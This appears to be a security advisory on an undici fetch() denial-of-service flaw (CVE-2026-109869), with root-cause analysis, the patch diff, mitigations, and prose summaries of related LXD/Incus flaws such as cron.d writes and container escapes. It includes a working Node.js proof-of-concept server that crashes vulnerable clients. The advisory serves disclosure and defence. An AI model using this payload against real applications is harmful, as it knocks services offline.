Oct 24, 2026·10 min read·20 visits
An unhandled error on an orphaned internal Readable stream in undici's fetch() implementation allows a remote HTTP server to crash the entire Node.js process by sending more than five Content-Encoding headers and closing the connection prematurely, bypassing application-level try/catch blocks.
CVE-2026-109869 is a high-severity denial-of-service vulnerability in undici, the default HTTP/1.1 client and Fetch implementation for Node.js. When a server responds with more than five Content-Encoding directives and prematurely closes the connection before transmitting the body, undici allocates an internal Readable stream before enforcing the content-encoding limit. Upon rejecting the fetch promise, the stream is orphaned without an error listener or abort signal, causing the premature socket closure to emit an unhandled stream error that terminates the Node.js process.
Undici serves as the foundational HTTP/1.1 client library and backs the global fetch() API in the Node.js runtime. It manages connection pooling, request dispatching, HTTP header parsing, and response body streaming for outbound network requests. Because modern Node.js applications rely on undici for external API communication, webhook delivery, and microservice orchestration, flaws in its response parser expose client applications to network-borne attacks from upstream servers.
CVE-2026-109869 (tracked also as GHSA-xjj6-f33q-929c) is a denial-of-service vulnerability affecting undici versions 6.23.0 through 6.29.0, 7.18.0 through 7.30.0, and 8.0.0 through 8.12.1. The defect is classified under CWE-248 (Uncaught Exception) and CWE-459 (Incomplete Cleanup). It occurs within the httpNetworkFetch execution path inside lib/web/fetch/index.js when processing HTTP responses containing stacked Content-Encoding headers.
To prevent decompression bomb attacks, undici enforces a strict limit of five content codings per response. However, in vulnerable versions, the internal response Readable stream (this.body) is instantiated prior to validating the content-encoding count. When a server returns more than five content codings, undici rejects the top-level promise and returns early without attaching an error handler to this.body or aborting the underlying network controller.
If the remote server immediately closes the TCP connection before delivering the promised response body, the underlying HTTP parser detects an unexpected end-of-file (such as a content-length mismatch) and emits an error event on the orphaned this.body stream. In Node.js, an error event emitted on an EventEmitter or Stream without registered listeners causes an unhandled exception that terminates the active process, completely bypassing any try/catch blocks or .catch() handlers wrapping the fetch() call.
The root cause of CVE-2026-109869 lies in an improper ordering of resource allocation and validation checks within httpNetworkFetch in lib/web/fetch/index.js, combined with an incomplete error-handling teardown sequence. When undici receives response headers from an upstream server, it processes redirect statuses, extracts headers, and prepares the response stream for consumption by the caller.
Prior to the security patch, undici allocated the internal Node.js Readable stream immediately after extracting the Location header:
this.body = new Readable({ read: () => controller.resume() })Only after instantiating this.body did the execution path evaluate whether the response was a redirect or required content-encoding decompression. To mitigate multi-layered compression attacks—similar to vulnerabilities previously addressed in urllib3 (GHSA-gm62-xv2j-4w53) and curl (CVE-2022-32206)—undici counts the number of encodings specified in the Content-Encoding header and compares it against maxContentEncodings (set to 5).
When codings.length > 5, the vulnerable code invoked reject(new Error(...)) and returned immediately from the header callback. This early return created two state inconsistencies:
onError listener responsible for routing stream errors to this.onResponseError(controller, err) was only registered at the end of the function, after the content-encoding loop completed. By returning early, this.body remained active in memory with zero 'error' listeners attached.reject() rejected the JavaScript Promise returned to the user's fetch() call, but it did not invoke controller.abort(). Consequently, the underlying HTTP dispatcher and socket parser continued monitoring the TCP stream as if the response body were still expected.When the server closes the TCP socket before transmitting the bytes promised by Content-Length (or before terminating a chunked transfer), the socket parser raises a premature close or content-length mismatch error. The dispatcher forwards this error to this.body.destroy(err). Because this.body exists but lacks an 'error' event listener, Node.js escalates the unhandled stream error to an uncaughtException, crashing the runtime.
The vulnerability was remediated across the v6, v7, and v8 release branches in commits 1325a87dfb3492f8e87e6b0a84b3bda4e82e3436, 07ded4941b1e72afec862958c3b8ddf468f3b429, and b5084c7dc239172d75c336b1cd51ddac023938a5. The patch modifies lib/web/fetch/index.js inside the httpNetworkFetch function.
@@ -2280,8 +2280,6 @@ async function httpNetworkFetch (
appendHeadersListFromResponseHeaders(headersList, headers, rawHeaders)
const location = headersList.get('location', true)
- this.body = new Readable({ read: () => controller.resume() })
-
const willFollow = location && request.redirect === 'follow' &&
redirectStatusSet.has(status)
@@ -2299,7 +2297,7 @@ async function httpNetworkFetch (
// CVE fix similar to urllib3 (GHSA-gm62-xv2j-4w53) and curl (CVE-2022-32206).
const maxContentEncodings = 5
if (codings.length > maxContentEncodings) {
- reject(new Error(`too many content-encodings in response: ${codings.length}, maximum allowed is ${maxContentEncodings}`))
+ controller.abort(new Error(`too many content-encodings in response: ${codings.length}, maximum allowed is ${maxContentEncodings}`))
return
}
@@ -2341,6 +2339,8 @@ async function httpNetworkFetch (
}
}
+ this.body = new Readable({ read: () => controller.resume() })
+
const onError = (err) => this.onResponseError(controller, err)
resolve({The patch enforces two structural changes that eliminate the vulnerability:
this.body = new Readable({ read: () => controller.resume() }) is moved past the redirect checks and the codings.length > maxContentEncodings check. It is now placed immediately prior to defining onError and resolving the response object. If any header validation check fails, this.body remains undefined, preventing any orphaned stream from existing.reject(new Error(...)) directly when codings.length > maxContentEncodings, the patched code calls controller.abort(new Error(...)). In undici's fetch lifecycle, aborting the controller both rejects the pending fetch promise with the supplied error and signals the underlying HTTP client dispatcher to immediately tear down the active request and ignore subsequent socket closure events.> [!NOTE]
> Assessing fix completeness: Moving this.body allocation down also prevents orphaned stream allocation during automatic HTTP redirects (willFollow branch), where this.body was previously allocated and discarded on each redirect hop. By deferring stream creation until all pre-body validation checks succeed and routing failures through controller.abort(), the patch completely closes this error-handling gap.
Exploiting CVE-2026-109869 requires no authentication or privileges on the target Node.js application. The sole prerequisite is that the target application uses a vulnerable version of undici (either directly imported from npm or via Node.js's built-in global fetch()) to make an HTTP or HTTPS request to an endpoint controlled by or routed through the attacker.
Attack vectors commonly exposing applications to this flaw include:
fetch().To trigger the crash, the attacker's server waits for an incoming HTTP request from the target and replies with an HTTP response meeting two specific criteria:
Content-Encoding: gzip, gzip, gzip, gzip, gzip, gzip). These can be delivered in a single comma-separated header or across multiple Content-Encoding header lines.Content-Length: 100), and the server immediately closes the TCP connection (FIN or RST) without sending the body bytes.// Proof of Concept: CVE-2026-109869
const net = require('node:net');
const { fetch, Client } = require('undici');
const MAX_CONTENT_ENCODINGS = 5;
// Construct an HTTP response with 6 content-encodings and a non-zero Content-Length
const maliciousResponse = Buffer.from(
'HTTP/1.1 200 OK\r\n' +
`Content-Encoding: ${Array(MAX_CONTENT_ENCODINGS + 1).fill('gzip').join(', ')}\r\n` +
'Content-Length: 100\r\n' +
'Connection: close\r\n\r\n'
);
const server = net.createServer((socket) => {
socket.once('data', () => {
// Send headers and immediately close the socket before sending the 100-byte body
socket.end(maliciousResponse);
});
});
server.listen(0, '127.0.0.1', async () => {
const { port } = server.address();
const targetUrl = `http://127.0.0.1:${port}`;
const client = new Client(targetUrl);
try {
await fetch(targetUrl, { dispatcher: client });
} catch (err) {
// Application properly catches the promise rejection:
// "Error: too many content-encodings in response: 6, maximum allowed is 5"
console.log('Caught expected rejection:', err.message);
}
// Despite the try/catch block above, the Node.js process crashes moments later
// when the socket EOF triggers an unhandled 'error' event on the orphaned stream.
});When executed against a vulnerable version of undici, the try/catch block catches the initial too many content-encodings rejection as expected. However, on the next tick of the Node.js event loop, the TCP FIN packet is processed by the underlying parser, throwing an unhandled HTTPParserError / content-length mismatch error directly onto the orphaned Readable stream and terminating the process with a non-zero exit code.
CVE-2026-109869 carries a CVSS v3.1 Base Score of 7.5 (High) with the vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H. The vulnerability impacts service availability exclusively; it does not allow memory corruption, arbitrary code execution, or unauthorized data disclosure (C:N/I:N/A:H).
The severity is high because Node.js operates on a single-threaded event loop architecture. When an uncaughtException terminates the Node.js runtime process, all concurrent in-flight HTTP requests, WebSocket connections, background jobs, and queued asynchronous tasks co-located within that worker process are abruptly aborted. A single 200-byte response from a remote server is sufficient to take down an entire application instance.
Furthermore, defensive programming practices at the application layer cannot contain the crash without registering a global process.on('uncaughtException') handler—a practice explicitly discouraged by the Node.js documentation for continuing execution because it leaves internal state and file descriptors in an undefined state.
From a threat intelligence perspective, the Exploit Prediction Scoring System (EPSS) assigns CVE-2026-109869 a score of 0.00343 (0.343%), placing it in the 26.66th percentile. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. While automated internet-wide scanning is less prevalent for client-side vulnerabilities compared to listening server flaws, any application that fetches user-influenced URLs can be trivially and repeatedly crashed by an unauthenticated attacker.
The OpenJS Foundation and the undici maintainers have released patched versions across all supported release lines. Organizations should upgrade undici immediately to the following minimum versions:
6.29.1 or later.7.30.1 or later.8.12.2 or later.Security and engineering teams should audit dependency trees using Software Composition Analysis (SCA) tools or package manager commands (npm ls undici, pnpm why undici, yarn why undici) to locate both direct and transitive installations of undici. In addition to standalone node_modules dependencies, teams should verify the version of undici bundled within their production Node.js runtime binaries if the application invokes the global fetch() API.
> [!WARNING]
> There is no application-level code workaround for vulnerable versions of undici. Wrapping fetch() calls in try/catch blocks or attaching .catch() handlers to the returned promise does not prevent the unhandled stream error from crashing the process.
If immediate patching is operationally impossible, the only viable mitigation is at the network boundary:
fetch() requests via an egress proxy or firewall so the application can only communicate with trusted, internal, or explicitly allowlisted upstream servers.Content-Encoding headers before they reach the Node.js client.CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
undici Node.js / OpenJS Foundation | >= 6.23.0, < 6.29.1 | 6.29.1 |
undici Node.js / OpenJS Foundation | >= 7.18.0, < 7.30.1 | 7.30.1 |
undici Node.js / OpenJS Foundation | >= 8.0.0, < 8.12.2 | 8.12.2 |
| Attribute | Detail |
|---|---|
| CVE ID | CVE-2026-109869 (GHSA-xjj6-f33q-929c) |
| Weakness Class | CWE-248 (Uncaught Exception) / CWE-459 (Incomplete Cleanup) |
| CVSS v3.1 Score | 7.5 High (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) |
| EPSS Score | 0.343% (26.66th percentile) |
| Attack Vector | Network (Malicious HTTP response with >5 Content-Encoding headers) |
| Impact | Denial of Service (Unhandled stream error crashes Node.js process) |
| Exploit Status | Proof of Concept (PoC) available |
| CISA KEV Status | Not Listed |
The software does not catch or properly handle an exception, leading to an application crash or unexpected state. Also mapped to CWE-459 (Incomplete Cleanup) due to the orphaned Readable stream left in an unmanaged state after an early error return.
CVE-2026-28385 (GHSA-3gq2-x4qg-p4g6) is a Server-Side Request Forgery (SSRF) vulnerability in Canonical LXD versions 4.12 through 6.9. An authenticated user possessing the can_create_images entitlement can force the LXD daemon to execute arbitrary outbound HTTP and HTTPS requests via the /1.0/images API endpoint. Due to the absence of egress destination validation, an attacker can probe host loopback services, RFC 1918 private network segments, and cloud Instance Metadata Services (IMDS) from the network position of the privileged LXD daemon.
Canonical LXD and LXC Incus contain an arbitrary file write vulnerability (CWE-73 / CWE-59) in the `/1.0/instances/<name>/exec` REST API endpoint. When an instance is unpacked from an image archive, top-level symbolic links are extracted directly onto the host filesystem within the instance storage directory. If a crafted image includes a symbolic link named `exec-output` pointing to an arbitrary host path, invoking the execution endpoint with `record-output: true` causes the privileged host daemon to follow the symlink and write command output files directly to the target host directory. An authenticated attacker with permissions to import images and execute commands can exploit this flaw to write controlled content to sensitive host directories such as `/etc/cron.d`, resulting in arbitrary code execution on the host as `root`.
CVE-2026-48749 (tracked as GHSA-vghh-5rfx-xhq8 for LXD and GHSA-2q3f-q5pq-g8wv for Incus) is a critical container escape vulnerability in the Canonical LXD and Linux Containers Incus system container managers. By importing a specially crafted container image archive containing duplicate tar member headers, an authenticated attacker can replace the instance rootfs directory with a symbolic link pointing to the underlying host root filesystem. When performing file operations on a stopped container, the privileged forkfile helper binary resolves the symbolic link without confinement and chroots directly into the host filesystem, granting arbitrary root-level file read and write access.
GHSA-fmc8-p6q7-75cc (associated with CVE-2026-48755) is a critical argument injection vulnerability in Canonical LXD (github.com/canonical/lxd). The vulnerability occurs during instance and storage volume backup operations when processing the user-supplied compression_algorithm configuration parameter. While LXD validates the primary executable token against an allowlist of supported compression binaries, it fails to sanitize or restrict subsequent tokens parsed via shellquote.Split. These additional arguments are passed directly to exec.Command. An authenticated attacker with privileges to trigger backups can inject command-line flags for utilities like zstd to read staged files from a container filesystem and write them to arbitrary paths on the underlying host filesystem, such as /etc/cron.d/, achieving root-level arbitrary code execution on the host.
A critical path traversal vulnerability caused by improper input validation (CWE-20) exists in the direct image download handler of Canonical LXD and Linux Containers Incus. When an authenticated user requests an image import using the URL source type, the daemon reads the image fingerprint from an untrusted HTTP response header (`Incus-Image-Hash` or `LXD-Image-Hash`) without validating that it conforms to a SHA-256 format. This unvalidated string is concatenated directly into a filesystem path via `filepath.Join` prior to file creation and cryptographic verification, allowing directory traversal sequences to write arbitrary files on the host filesystem as root.
CVE-2026-9639 (GHSA-j93m-3j9p-m5m8) is a null pointer dereference vulnerability in Canonical LXD affecting versions 5.0.0 through 5.21.4 and 6.0 through 6.8. The flaw resides in the (*lxdBackend).CreateCustomVolumeFromBackup method within lxd/storage/backend_lxd.go. An authenticated attacker with the can_create_storage_volumes permission can upload a crafted custom volume backup tarball that omits the expires_at field on a snapshot entry, triggering an unhandled SIGSEGV panic and terminating the LXD daemon.